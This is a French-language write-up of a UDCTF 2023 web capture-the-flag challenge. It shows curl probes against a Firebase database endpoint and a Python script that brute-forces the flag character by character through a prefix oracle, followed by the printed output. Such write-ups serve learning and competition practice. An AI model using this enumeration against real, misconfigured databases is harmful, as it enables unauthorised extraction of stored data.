Home

/

CTFs

/

UDCTF

/

Best Bathroom on Campus

Best Bathroom on Campus

WU of one of Web challenges of UDCTF 2023

WEB

~2 minutes

M58

Best Bathroom on Campus

147 solves - 100 points

Description

https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF.json

Given Files

X

Solution

On nous donne un lien vers un site Web. En se rendant sur ce site :

$ curl https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF.json
true

on peut voir que le site nous return seulement true. On peut essayer d'envoyer quelque chose d'autre :

$ curl https://best-bathroom-default-rtdb.firebaseio.com/flag/foo.json
null

Le site nous return null. Après un peu de fausses pistes, on tente un curl vers UDCTF{.json :

$ curl https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B.json
true

On comprend alors que le site return true si le fichier .json suit le format UDCTF{...}.json.

On peut donc écrire un script python pour bruteforce le flag :

import requests

URL = "https://best-bathroom-default-rtdb.firebaseio.com/flag/" 
ext = ".json"

caracteres = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'*-+"

flag = "UDCTF{"
while True:
    for c in caracteres:
        r = requests.get(URL + flag + c + ext)
        if r.text != "null":
            flag += c
            print(flag)
            break
    if c == "}":
        flag += "}"
        break

On laisse un peu tourner le script et on obtient le flag :

UDCTF{1
UDCTF{1c
UDCTF{1ce
UDCTF{1ce_
UDCTF{1ce_L
UDCTF{1ce_L4
UDCTF{1ce_L4b
UDCTF{1ce_L4br
UDCTF{1ce_L4br4
UDCTF{1ce_L4br4t
UDCTF{1ce_L4br4t0
UDCTF{1ce_L4br4t0r
UDCTF{1ce_L4br4t0ry
UDCTF{1ceL4br4t0ry
UDCTF{1ce_L4br4t0ry_s
UDCTF{1ce_L4br4t0ry_s3
UDCTF{1ce_L4br4t0ry_s3C
UDCTF{1ce_L4br4t0ry_s3C0
UDCTF{1ce_L4br4t0ry_s3C0n
UDCTF{1ce_L4br4t0ry_s3C0nd
UDCTF{1ce_L4br4t0rys3C0nd
UDCTF{1ce_L4br4t0ry_s3C0nd_F
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0o
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or
UDCTF{1ce_L4br4t0ry_s3C0ndFl0or
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y'
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0orb0y's
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4t
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4th
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr0
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00m
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00m}

UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00m}